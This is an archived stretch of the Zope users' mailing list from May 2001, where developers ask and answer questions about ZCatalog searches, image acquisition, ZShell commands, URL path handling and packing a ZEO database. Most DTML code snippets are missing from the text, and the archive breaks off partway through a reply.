http://www.zope.org/Members/Caseman/ZCatalog_for_2.3 > From: "Junk" > Date: Mon, 7 May 2001 00:44:56 +0200 > To: > Subject: [Zope] question about multiple search criteria > > hello, world! > > i have this database wich i want to sort by multiple criteria (12 criteria) > so i would have to search a zcatalog with those and i heard that quite a lot > of people don't trust the zcatalog and it just doesn't seem to be *right*. > > is it cleaner to do it in some sort of relational database and make sql > queries on it ? > > it **seems** to me that it would be better to do it this way, but i'm not > sure, any ideas on how to do it ? > > Junk > > From jasonic@nomadicsltd.com Mon May 7 00:19:23 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Sun, 6 May 2001 19:19:23 -0400 Subject: [Zope] Image Uploading References: Message-ID: <004701c0d682$fc9b42a0$c3090740@megapathdsl.net> "Marc Fischer" wrote: > Ok, I want to upload an Image into my ZOPE which only exists on an external > Server. The pictures url could be http://somewhere.com/pic.jpg. > So, I need a way, to insert this Image in my ZODB. But how, ... ??? There are probably many ways to do this. An immediate one I just tested uses Jerome Alet's lovely evolving ZShell: http://cortex.unice.fr/~jerome/zshell/ [note:Zshell 0.3 does not yet have security issues resolved] First install and create an instance of Zshell call it http://yoursite.com/zhell [or whatever you name your instance] type 'man' or 'help' to see commands, arguments and caveats. Print this page.. ok now you are all ready: Zshell has a 'wget' command which is very easy to use cd to the folder you want, or mkdir to create one and then cd to it wget http://somewhere.com/pic.jpg voila! a new image is created named 'pic.jpg_jpeg' Take a look at his zshell source to see how this is done. You can then write Zope methods to suit your own image needs, presumably to automate the process with sensible parameters. hth ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From tino@wildenhain.de Mon May 7 00:38:21 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Mon, 07 May 2001 01:38:21 +0200 Subject: [Zope] Proper Case function In-Reply-To: Message-ID: <1357023880.989199501@BUZZER> Hi Tommy, zope is built with python. You do a lot easyer, if you learn python. Quick with the tutorial and then keep the "library reference" under your pillow. However, the function you are looking for is called "capitalize". It is part of the string modul, so in dtml, it would be reachable by "_.string.capitalize(yourstring)" HTH Tino Wildenhain --On Samstag, 5. Mai 2001 19:09 -0800 Tommy Johnson wrote: > Hello all, > > I'm looking for a proper case function --> something that will return the > string "Category" from the string "category". It doesn't have to worry > about if the string is a proper name, but that would be nice. I'm just > trying to figure out if a function exists that will capitalize the first > letter of a string (or if I have to script something). > > Thanks in advance, > Tommy > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From joe@LADWP.net Mon May 7 02:23:45 2001 From: joe@LADWP.net (Joe Copeland) Date: Sun, 6 May 2001 18:23:45 -0700 Subject: [Zope] images Message-ID: <001901c0d694$5c0c7cc0$0a01a8c0@joecopeland.net> How can I place an images in an "/images" folder so that they can be acquired by my entire site. I've placed my images in a directory called "/images" but I can't use the tag to access the image unless I'm in the /images directory or beneth it. Is there a way I can set the source directory of all image objects so that whenever I call upon an image by the image name Zope can find it? Thanks, Joe From marc@bowery.com Mon May 7 02:21:39 2001 From: marc@bowery.com (marc lindahl) Date: Sun, 06 May 2001 21:21:39 -0400 Subject: [Zope] images In-Reply-To: <001901c0d694$5c0c7cc0$0a01a8c0@joecopeland.net> Message-ID: You'd use Also, check out the product CascadingFolders for organizing image folders. > From: "Joe Copeland" > Date: Sun, 6 May 2001 18:23:45 -0700 > To: > Subject: [Zope] images > > How can I place an images in an "/images" folder so that they can be > acquired by my entire site. > > I've placed my images in a directory called "/images" but I can't use the > tag to access the image unless I'm in the /images > directory or beneth it. > > Is there a way I can set the source directory of all image objects so that > whenever I call upon an image by the image name Zope can find it? > > Thanks, > > Joe > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From jasonic@nomadicsltd.com Mon May 7 03:14:09 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Sun, 6 May 2001 22:14:09 -0400 Subject: [Zope] images References: <001901c0d694$5c0c7cc0$0a01a8c0@joecopeland.net> Message-ID: <007e01c0d69b$672ab160$c3090740@megapathdsl.net> "Joe Copeland" wrote: > How can I place an images in an "/images" folder so that they can be > acquired by my entire site. > > I've placed my images in a directory called "/images" but I can't use the > tag to access the image unless I'm in the /images > directory or beneth it. > > Is there a way I can set the source directory of all image objects so that > whenever I call upon an image by the image name Zope can find it? ...yeah funky ain't it? This is probably #1 ZopeNewbie FAQ. Here's what you have to do: means something like "with the namespace of images" do whatever in there until I exit using You can nest them and do all sorts of neat powerful tricks with For a _real_ explanation read up on in the book and elsewhere on Zope.org A pretty good one is : http://www.zope.org/Members/michel/HowTos/NameSpaceHow-To Suppose you have a subfolder called "theatre" inside /images. Then you can do this: # note: the quotes are important This syntax still seems counterintuitive and verbose to me, even when I know why and grown familiar with it. Some might even consider it a ZopeDTML annoyance. Best to make friends though, and/or master the syntax for programming Zope using External Python Methods and/or Scripts (Python). Every tool in zope has its virtues ancd vices. The hard part is learning what those are, for you and your project. Look through How-Tos for "Image" and you'll find some useful DTML examples to copy and also design advice about images in Zope. If you have multiple folders of the same id name [such as "images"] scattered aournd your Zopesite, and you are getting headaches because does not work the way you expect, then it is time to read up [again] on namespace and the 'only' tag atribute of . hth ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From junk@gargl.net Mon May 7 03:42:34 2001 From: junk@gargl.net (Junk) Date: Mon, 7 May 2001 04:42:34 +0200 Subject: [Zope] question about searching on subobjects Message-ID: hi, i have objects and subobjects (in classes) that i want to index. let's say i have this structure : folderA itemA sub itemB sub itemC sub itemD sub i want to get some propertie from "itemX" if some propertie of "sub" equals something. to make it more clear (propertis are enclosed in parenthesis) books bookname1 (description) review (author) bookname2 (description) review (author) bookname3 (description) review (author) bookname4 (description) review (author) i want to get the "description" of the book whose reviews's author is "author" ? hu... clear ? thanx, JUNK From sven.fischer@gargl.net Mon May 7 04:13:27 2001 From: sven.fischer@gargl.net (Sven Fischer) Date: Mon, 7 May 2001 05:13:27 +0200 Subject: [Zope] how can i have my content displayed in 2 different ways ? Message-ID: hello all, i have my content in zope in a structure like this : data/animals/lion data/animals/coyote data/animals/elephant and would like to have 2 ways (in fact n ways) of displaying the information i could make 2 methods in the animals folder for example and have my urls look like data/animals/lion/bluepage data/animals/lion/redpage bu i would like to / love to be able to make it like this : bluepage/animals/lion redpage/animals/lion can i do that ? if yes, how ? and does it work with subfolders ? sorry for all thos questions, but i'd prefer to do it the right way ;-))) $ven From jwb@imeme.net Mon May 7 05:05:47 2001 From: jwb@imeme.net (Jake Berglund) Date: Mon, 07 May 2001 00:05:47 -0400 Subject: [Zope] question about searching on subobjects References: Message-ID: <3AF61F1B.4030000@imeme.net> Hello, > i want to get some propertie from "itemX" if some propertie of "sub" equals > something. > > to make it more clear (propertis are enclosed in parenthesis) > > books > bookname1 (description) > review (author) > bookname2 (description) > review (author) > bookname3 (description) > review (author) > bookname4 (description) > review (author) > > i want to get the "description" of the book whose reviews's author is > "author" ? hu... clear ? You can use nested dtml-ins to iterate over your objects, then dtml-var to display their properties. for example: Hope that helps, Jake -- Jake Berglund Online Community Building http://imeme.net - Affordable Zope Webhosting From Danny@Adair.net Mon May 7 05:24:01 2001 From: Danny@Adair.net (Danny William Adair) Date: Mon, 7 May 2001 16:24:01 +1200 Subject: [Zope] images In-Reply-To: Message-ID: Hi Marc! >>> marc lindahl wrote: >>> >>> You'd use Cool! When did that start to work? Is there a traversal patch to dtml-var? My dtml-var (2.3.1) won't do it. >>> Also, check out the product CascadingFolders for organizing >>> image folders. That's interesting, too. Or did you mean TransparentFolders? http://www.zope.org/Members/hathawsh/TransparentFolders I can't find CascadingFolders. tia, Danny >>> > From: "Joe Copeland" >>> > Date: Sun, 6 May 2001 18:23:45 -0700 >>> > To: >>> > Subject: [Zope] images >>> > >>> > How can I place an images in an "/images" folder so that they can be >>> > acquired by my entire site. >>> > >>> > I've placed my images in a directory called "/images" but I >>> can't use the >>> > tag to access the image unless I'm in the /images >>> > directory or beneth it. >>> > >>> > Is there a way I can set the source directory of all image >>> objects so that >>> > whenever I call upon an image by the image name Zope can find it? >>> > >>> > Thanks, >>> > >>> > Joe >>> > >>> > >>> > >>> > >>> > _______________________________________________ >>> > Zope maillist - Zope@zope.org >>> > http://lists.zope.org/mailman/listinfo/zope >>> > ** No cross posts or HTML encoding! ** >>> > (Related lists - >>> > http://lists.zope.org/mailman/listinfo/zope-announce >>> > http://lists.zope.org/mailman/listinfo/zope-dev ) >>> >>> >>> _______________________________________________ >>> Zope maillist - Zope@zope.org >>> http://lists.zope.org/mailman/listinfo/zope >>> ** No cross posts or HTML encoding! ** >>> (Related lists - >>> http://lists.zope.org/mailman/listinfo/zope-announce >>> http://lists.zope.org/mailman/listinfo/zope-dev ) >>> From evan@4-am.com Mon May 7 05:26:27 2001 From: evan@4-am.com (Evan Simpson) Date: Sun, 6 May 2001 23:26:27 -0500 Subject: [Zope] get error "no module named TAL.TALParser" References: <001f01c0d547$d1e1e2d0$18a4023e@karin> <005201c0d5a2$0d6a6a70$2a01a8c0@evansys> <989186482.12170.4.camel@locutus> Message-ID: <000f01c0d6ad$e2cbfec0$2a01a8c0@evansys> From: "Bill Anderson" > How does this work with INSTANCE_HOME setups? > Can $INSTANCE_HOME have a lib/python tree as well? Not yet, though I expect to have this in Zope 2.4. For now, you can put it in your Python lib's site-packages. Cheers, Evan @ digicool & 4-am From Danny@Adair.net Mon May 7 05:32:19 2001 From: Danny@Adair.net (Danny William Adair) Date: Mon, 7 May 2001 16:32:19 +1200 Subject: [Zope] how can i have my content displayed in 2 different ways ? In-Reply-To: Message-ID: >>> Sven Fischer wrote: >>> >>> i have my content in zope in a structure like this : >>> >>> data/animals/lion >>> data/animals/coyote >>> data/animals/elephant >>> >>> and would like to have 2 ways (in fact n ways) of displaying >>> the information >>> >>> i could make 2 methods in the animals folder for example and >>> have my urls >>> look like >>> >>> data/animals/lion/bluepage >>> data/animals/lion/redpage >>> >>> bu i would like to / love to be able to make it like this : >>> >>> bluepage/animals/lion >>> redpage/animals/lion >>> >>> can i do that ? if yes, how ? and does it work with subfolders ? Have you checked out NIP's PathHandler product? http://www.zope.org/Members/NIP/PathHandler if bluepage is a PathHandler, it could translate a bluepage/animals/lion to a data/animals/lion/bluepage That's the simplest solution I could think of right now. And the elegance is ok, imho. You could take a look at the sources to see how PathHandler does its __bobo_traverse__ hth, Danny From jasonic@nomadicsltd.com Mon May 7 05:53:33 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Mon, 7 May 2001 00:53:33 -0400 Subject: [Zope] [ANN] ZShell 0.2 References: <3AF3F292.3BEE0C65@tm.ee> <20010505153711.A832@nordine.ateur> <001101c0d573$eed3ff00$c3090740@megapathdsl.net> <20010506010135.A4037@nordine.ateur> Message-ID: <01f601c0d6b1$abbb2ce0$c3090740@megapathdsl.net> Jerome Alet" wrote: > If you're interested I've put a 0.3 online at: > > http://cortex.unice.fr/~jerome/zshell/ This gets better all the time :-) I have learned so much already, just looking through your source. It makes a great Zope tutorial in unexpected ways. Thanks. > new commands: mkver, enter, leave, save, discard (versions) > and the powerful but not used at its full power until > variables are checked in: the "call" command ! > > there are also many bug fixes and the possibility to > call the method with a zshellscript argument containing the > list of commands to execute. Can you give an example to do this please. .................................... More wishlist suggestions for Zshell. I aplologize only a little for this experiment in blatant featuritis. In many cases this is not rocketscience, but a apprades to be a matter of writing smart user-friendly wrappers around known zope tricks. The shell paradigm is very good and does nto really interfere with the nature of zope. Perhaps those with deeoper zen than me will see the catch. I beleive many of the practical workflow headaches of using Zope among different people[skills], can be solved by growing the Zope shell. It separates function from syntax in a very simple way. Logic is another question... If nothing else, I suspect zopeshell is more concise, and readable to more people out of the box. Also very extendable. A fascinating and useful experiment imho. --------------------------- 1. MORE SHELL-LIKE BEHAVIOR I keep hitting return and expecting my code to happen. It's not just laziness. The RUN button breaks the familiar shell command line paradigm. I realise it is nice to have multiple lines, but I find it faster to type and keep typing, than have to jump back and forth to the mouse. One solution: SHIFT + ENTER => multiline entry ENTER => execute ----------------------------- 2. ZSHELL DTML UI SUGGESTIONS At the top of the page include all the wget commands as hyperlinks links. Clicking on a command displays the docstring for the command above/below the text area and also enters the comand and dummy argument string directly into the Zshell shell where one may edit. A checkbox option next to the textarea toggles the 'auto_insert' feature 'on' or 'off'. 'Off' displays just the docstring for the clicked command above the text area This kind of behavior and its display should be defined in any .zrc file and should be able to be invoked in the zshell. Thus display_commands # show hyperlinked zshell commands above text area auto_insert_off # jsut the man docstring auto_insert_on # insert commands and dummy args save_zrc [name] # save the present zshell dtml UI into .zrc file # [zodb/tinytable/properties?] load_zrc [name] # load a .zrc conifiguration DTML + ZSHELL Add a new tag so that Zshell commands can be run from DTML A trivial example might go like this: mkdir ../artists/$newartist cd ../artists/$newartist adduser $newartist/QWERTY mkdir newprojects/outline wget http://www.newsartists_website.org/work/outline pwd ls This would create a new folder for the value of $newartist, a [yet to implemented] zopeshell variable, which can also passed in by a form or some DTML Then add a newuser, and then upload load some HTML+graphics they already have prepared online somewhere else. ------------- 3. RESULTS Normal shell would return the results in the shell itself. I can see why in Zope this may not be often such a good idea. For example, making ls return a hypelinked table as you do is terrific idea. But I found that I quickly needcd to jump back and forth between repeat commadnds when usign zshell. What I was missing was being able to scroll up and down a familair shell windows, browse and cut''n'paste. A possible solution: Allow one to concatentate results to allow a single long scrolling one. This could be a callable 'zhell_session_RESULTS' DTMLmethod. I think this would allow one to be even more prodcutive in using Zshell to explore and manage a Zopesite. Presumably RESULTS connected to the machanism for history you are working on... As above, one shouldbe able to configure this from the shell and/or .zrc: RESULTS_join RESULTS_single RESULTS_off RESULTS_save [name] RESULTS_load [name] I suppose addressable RESULTS are instrinsic to any piping mechanism... and thus wildcards, 'ls', 'cp' etc.. ------------------ 4. cd Seems a little inconsistent at the moment partly becuase it does not resolve "/" I have a zshell in zope root "/" cd . Results: cd: New folder is / cd /images Results: cd: Incorrect path /images WARNING: Errors were encountered but cd images Results: cd: New folder is /images Both of the above should be valid. Perhaps you disagree.. Also for any CD command which is not valid, I suggest including a 'pwd' by default in the first line of the Results error message: cd happy Results: cd: Incorrect path happy WARNING: Errors were encountered --------------------- 5. mkdir improvements mkdir to handle a path option to complement cd from above mkdir needs option flags to match the manual setting in ZMI of the 2 checkboxes for Create public interface Create user folder mkdir newfolder -(p)ublic -(u)ser Not sure what syntax would be best for doing this when creating a nested mkdir: mkdir a/b/c/d -(p)ublic -(u)ser possibly: :set public+user attributes for all new folders :set public+user attributes for just the last folder Perhaps control it using a simple binary flag style. For example: mkdir a/b/c/d -p0110 -u1110 Set 'public' b and c only Add 'user' folders in a,b,c only -------------------- 6. cp Of course 'cp' should work across folders and also be able to paste in one line. Perhaps a lot of work. I don't know. And I hope zope acquisition logic does not mangle this. Needs to include wildcards of course cp ../../images/earthrise.jpg ../graphics/earthrise.jpg -------------------- 9. wildcards Obviously full Shell-type regular expressions, though desirable, might be a big deal. Some useful, obvious ones for ZopeShell wishlist whcih might be much easier I can think of: * *meta *date *date_since *date_before *size_under *size_over *owner *property Examples of wildcards using ls: ls *.jpeg # object whose names end with ".jpeg" ls *meta='Image' # objects of meta_type 'Image' ls *date='06-May-2001' # objects made on 6th May, 2001 ls *date='today' # object made today ls *date_since='01-05-2001' # objects made since 5th January ls *date_before='01-05-2001' # objects made before 5th January ls *size_under='50kb' # objects less than 50kb ls *size_over='500kb' # objects larger than 500kb ls *owner='nikola' # objects owned by nikola ls *property='description' # objects with a description property -------------------- 8. wget Very useful for all kinds of things Change the 'fname' code so that the default behavior is to save names under their original source names. If that id is already taken, then take action and rename. Include an flag for Zope wget to do auto renaming [like it is now]. syntax could perhaps be: wget args rename_meta # rename to append meta tag wget args rename_sub # rename to append subtype wget args rename_xyz # rename to apend _xyz # where _xyz are any continuous suffix string, "_bak" etc. 7. adduser This is going to be very cool but, meanwhile I am not not clear what to 'do' with adduser. At least until there is a Zshell mechanism to get and set permissions, and then pass them to the add user command. I confess I don't really understand Local Roles in Zope either yet :-( ..so I better shut just up and do some more homework. > * I can't make chown to work, do you have got any idea ? not yet.. cheers ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From magnus.heino@rivermen.se Mon May 7 05:52:11 2001 From: magnus.heino@rivermen.se (Magnus Heino (Rivermen)) Date: Mon, 7 May 2001 06:52:11 +0200 Subject: [Zope] Properties and naming... Message-ID: Hi. How come a ZClass can have PropertySheet with properties named like 'M=E5ndag', but if you create a python product and inherit from PropertyManager and add 'M=E5ndag' to _properties, you get an syntax = error on the '=E5'?=20 You get the same error in you try to do something with the variable in = a Python Script. The ZCatalog on the other hand, deals with the propertie = just fine. So, the question is, is 'M=E5ndag' a valid propertie name? /Magnus From jasonic@nomadicsltd.com Mon May 7 06:06:24 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Mon, 7 May 2001 01:06:24 -0400 Subject: [Zope] [ANN] ZShell 0.2 -typo References: <3AF3F292.3BEE0C65@tm.ee> <20010505153711.A832@nordine.ateur> <001101c0d573$eed3ff00$c3090740@megapathdsl.net> <20010506010135.A4037@nordine.ateur> <01f601c0d6b1$abbb2ce0$c3090740@megapathdsl.net> Message-ID: <021401c0d6b3$7746e9c0$c3090740@megapathdsl.net> ouch sorry typo: > 2. ZSHELL DTML UI SUGGESTIONS > At the top of the page include all the wget commands as hyperlinks links. ^^^^ should be 2. ZSHELL DTML UI SUGGESTIONS At the top of the page include all the 'zshell' commands as hyperlinks. ./Jason From marc@bowery.com Mon May 7 07:05:30 2001 From: marc@bowery.com (marc lindahl) Date: Mon, 07 May 2001 02:05:30 -0400 Subject: [Zope] images In-Reply-To: Message-ID: > That's interesting, too. Or did you mean TransparentFolders? > http://www.zope.org/Members/hathawsh/TransparentFolders > I can't find CascadingFolders. There's the TransparentFolders as well.... CascadingFolders are here: http://www.spoke.net/randy I'm not sure the diff.... From marc@bowery.com Mon May 7 07:06:22 2001 From: marc@bowery.com (marc lindahl) Date: Mon, 07 May 2001 02:06:22 -0400 Subject: [Zope] images In-Reply-To: Message-ID: >>>> You'd use > > Cool! When did that start to work? Is there a traversal patch to dtml-var? > My dtml-var (2.3.1) won't do it. My bad.... From hofmann@isl.org Mon May 7 08:10:08 2001 From: hofmann@isl.org (Kai Hofmann) Date: Mon, 7 May 2001 09:10:08 +0200 Subject: [Zope] DateTime() BUG! In-Reply-To: <01d401c0d49a$fb8c9380$d0063bd0@SUXLAP> Message-ID: <3AF66601.17872.44016FDD@localhost> Dear Andreas, > DateTime.lessThanEqualTo() expects a DateTime instance or a floating po= int > number. So you pass a wrong argument. > But I admit the error handling should be better at this point :-) the "enddate" I showed in the "pseudo"-code has been defined as an object= s=20 property of type "date" - so I assumed the argument is correct - isn't it= ? Greetings Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From alet@unice.fr Mon May 7 08:17:17 2001 From: alet@unice.fr (Jerome Alet) Date: Mon, 7 May 2001 09:17:17 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: <01f601c0d6b1$abbb2ce0$c3090740@megapathdsl.net> Message-ID: On Mon, 7 May 2001, Jason Cunliffe wrote: > Jerome Alet" wrote: > > If you're interested I've put a 0.3 online at: > > > > http://cortex.unice.fr/~jerome/zshell/ > > This gets better all the time :-) > > I have learned so much already, just looking through your source. > It makes a great Zope tutorial in unexpected ways. Thanks. This was also unexpected ! > > new commands: mkver, enter, leave, save, discard (versions) > > and the powerful but not used at its full power until > > variables are checked in: the "call" command ! > > > > there are also many bug fixes and the possibility to > > call the method with a zshellscript argument containing the > > list of commands to execute. > > Can you give an example to do this please. just do something like: All worked fine An error occured When called like that, it returns only the status code of the result: 0 = no error other = errors occured > 1. MORE SHELL-LIKE BEHAVIOR > > I keep hitting return and expecting my code to happen. It's not just > laziness. > The RUN button breaks the familiar shell command line paradigm. > I realise it is nice to have multiple lines, but I find it faster to type > and keep typing, than have to jump back and forth to the mouse. > > One solution: > SHIFT + ENTER => multiline entry > ENTER => execute Don't know how to do it, but this will probably need some javascript at which my value is 0 or less. If someone can help... NB: I want it to also work fine with Lynx. > ----------------------------- > 2. ZSHELL DTML UI SUGGESTIONS > At the top of the page include all the zshell commands as hyperlinks links. > Clicking on a command displays the docstring for the command above/below the > text area > and also enters the comand and dummy argument string directly into the > Zshell shell where one may edit. Again will probably at least partially need some javascript. > DTML + ZSHELL > > Add a new tag so that Zshell commands can be run from DTML Interestingly we want the same things :-) Not in my priority list, but definitively needed. > 3. RESULTS > Normal shell would return the results in the shell itself. > I can see why in Zope this may not be often such a good idea. For example, > making ls return a hypelinked table as you do is terrific idea. The new version will support at least partially pseudo standard I/O streams stdin, stdout, and stderr which contents will be retrievable. This is a necessity for piping anyway. The HTML result will be another retrievable I/O stream. I think in the future zshell will return an instance of the class I define. The code is in heavy lifting right now, so don't expect a new version quick. > 4. cd > Seems a little inconsistent at the moment partly becuase it does not resolve > "/" > I have a zshell in zope root "/" it's better with every version, but still not perfect. My toObject() method sucks great. > Perhaps you disagree.. not at all, but I was unable to write something decent. > Also for any CD command which is not valid, I suggest including a 'pwd' by > default in the first line of the Results error message: easy. > mkdir a/b/c/d -(p)ublic -(u)ser > > possibly: > :set public+user attributes for all new folders > :set public+user attributes for just the last folder > > Perhaps control it using a simple binary flag style. For example: > > mkdir a/b/c/d -p0110 -u1110 > > Set 'public' b and c only > Add 'user' folders in a,b,c only not very user friendly IMHO, but at least solves the problem in an elegant way. -p and -u will have to be the first parameters since mkdir accepts multiple arguments. > 6. cp > > Of course 'cp' should work across folders and also be able to paste in one > line. agreed > 9. wildcards > Some useful, obvious ones for ZopeShell wishlist whcih might be much easier > I can think of: > > * > *meta > *date no because *'s semantic MUST mean: any object id which ends in meta, date, etc... if we want to be consistent with the shell normal behavior > 8. wget > > Very useful for all kinds of things > Change the 'fname' code so that the default behavior is to save names under > their original source names. > If that id is already taken, then take action and rename. ok, but . in ids is not a good idea in Zope/Python. > Include an flag for Zope wget to do auto renaming [like it is now]. > syntax could perhaps be: > > wget args rename_meta # rename to append meta tag > wget args rename_sub # rename to append subtype > wget args rename_xyz # rename to apend _xyz > # where _xyz are any continuous suffix string, > "_bak" etc. I don't like it. > 7. adduser > > This is going to be very cool but, meanwhile I am not not clear what to 'do' > with adduser. add many user in one line. > At least until there is a Zshell mechanism to get and set permissions, and will come soon. bye, and thanks for your support. PS: perhaps I should set up a mailing list somewhere to not waste Zope's one bandwidth, what do you think ? Jerome Alet From tino@wildenhain.de Mon May 7 08:30:00 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Mon, 07 May 2001 09:30:00 +0200 Subject: [Zope] question about searching on subobjects In-Reply-To: Message-ID: <1385322150.989227800@BUZZER> Hi Junk, (?) try to get your fingers on ZCatalog. Its not so hard as it appears at first and can do what you want here. Regards Tino Wildenhain --On Montag, 7. Mai 2001 04:42 +0200 Junk wrote: > hi, > > i have objects and subobjects (in classes) that i want to index. > > let's say i have this structure : > > folderA > itemA > sub > itemB > sub > itemC > sub > itemD > sub > > i want to get some propertie from "itemX" if some propertie of "sub" > equals something. > > to make it more clear (propertis are enclosed in parenthesis) > > books > bookname1 (description) > review (author) > bookname2 (description) > review (author) > bookname3 (description) > review (author) > bookname4 (description) > review (author) > > i want to get the "description" of the book whose reviews's author is > "author" ? hu... clear ? > > thanx, > > JUNK > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From fritz.mesedilla@summitmedia.com.ph Mon May 7 09:10:53 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Mon, 7 May 2001 16:10:53 +0800 Subject: [Zope] zeo database Message-ID: i'm currently using zeo server it works fine... but when i want to pack it, it doesn't work... and what is the file size limit of zope/zeo... is it true that it only runs below 2GB... that when it reaches 2GB it will stop working... please help... thanks. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From tino@wildenhain.de Mon May 7 11:10:14 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Mon, 07 May 2001 12:10:14 +0200 Subject: [Zope] sum up values of two variables In-Reply-To: <989175090.3af59d3282965@marcus.localguru.de> References: <989175090.3af59d3282965@marcus.localguru.de> Message-ID: <13163796.989237414@BUZZER> Hi Marcus, sure, you can do that. (put _.str() around the numerical return value of len() ) But I dont think this is what you want here. This way the link would contain: or something. May be, /"> .. does what you want. HTH Tino Wildenhain --On Sonntag, 6. Mai 2001 20:51 +0200 Marcus Schopen wrote: > Hi there, > > how do one sum up the values of two variables? > > > > > > > In other words: the result of _.len(hello.getPhysicalPath()) and the > string "BASE" should sum up to one variable, something like > > > > Thank you > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From kedai@kedai.com.my Mon May 7 11:31:39 2001 From: kedai@kedai.com.my (Bak @ kedai) Date: Mon, 7 May 2001 18:31:39 +0800 Subject: [Zope] zeo database Message-ID: <002901c0d6e1$cde07980$625eb8ca@defaultcn> -----Original Message----- From: Fritz Mesedilla To: zope@zope.org Date: Monday, May 07, 2001 4:10 PM Subject: [Zope] zeo database > >i'm currently using zeo server > >it works fine... but when i want to pack it, it doesn't work... and what is >the file size limit of zope/zeo... is it true that it only runs below 2GB... >that when it reaches 2GB it will stop working... > in what way does it not work? when you pack, zss will do the processing, instead of the ZC. checkout top just after you pack. also, after a few secs/minutes, you''ll see that the database is packed. this caught me initially too >please help... thanks. > >Fritz Mesedilla >Systems Administrator > >"Ooops! Save your work, everyone. FAST!" >--------------------------------------------------------------------------- - >Summit Interactive, Inc. > >http://www.femalenetwork.com | http://www.candymag.com >http://www.fhm.com.ph | http://www.cosmo.com.ph > >FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping >--------------------------------------------------------------------------- - >email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm >http://www.fritzmesedilla.net and http://www.fritz.iscute.com >--------------------------------------------------------------------------- - >+Basta Ikaw Lord > > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From Jan" hello, i hope someone can help me with two (hopefully) easy questions. 1. i would like to write a method that creates a folder and a default dtml-document. this methods shall be started through a form. at the moment i can use this method in order to create a folder (id is given via form) and a default dtml-document, both in the directory from which the method is started. how can i make settings so that the default dtml-document is created in the new folder, or put into the folder directly after creation? 2. i list zope folders in a navigation. in order to list them in a special order i use an attribute (index). is it possible to display the value of this attribute for each document or folder in the management screen in addition to id and name? thanks a lot in advance, jan From fritz.mesedilla@summitmedia.com.ph Mon May 7 12:44:36 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Mon, 7 May 2001 19:44:36 +0800 Subject: [Zope] zeo database In-Reply-To: <002901c0d6e1$cde07980$625eb8ca@defaultcn> Message-ID: it tries to pack the database then nothing happens like a change in database size... what i do now is revert back to using the local database (yes, downtime) pack it then restore the zeo connection... here's what i did: 1) installed zope with threads 2) extracted zeo in /usr/local/ 3) cd /usr/local/zeo 4) cp -R /usr/local/zeo/ZEO /usr/local/zope/lib/python 5) copied custom_zodb.py to /usr/local/zope 6) edited custom_zodb.py to enable zeo 7) started zeo then zope i didn't do anything else on the other files. please advice if i have to do anything else. i hope to achieve this: 1) 2 computers as zeo client 2) 1 computer as zeo server 3) i want zeo server to keep the database 4) i want the load to be on the two clients thanks in advance. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: Bak @ kedai [mailto:kedai@kedai.com.my] Sent: Monday, May 07, 2001 6:32 PM To: fritz.mesedilla@summitmedia.com.ph; zope@zope.org Subject: Re: [Zope] zeo database -----Original Message----- From: Fritz Mesedilla To: zope@zope.org Date: Monday, May 07, 2001 4:10 PM Subject: [Zope] zeo database > >i'm currently using zeo server > >it 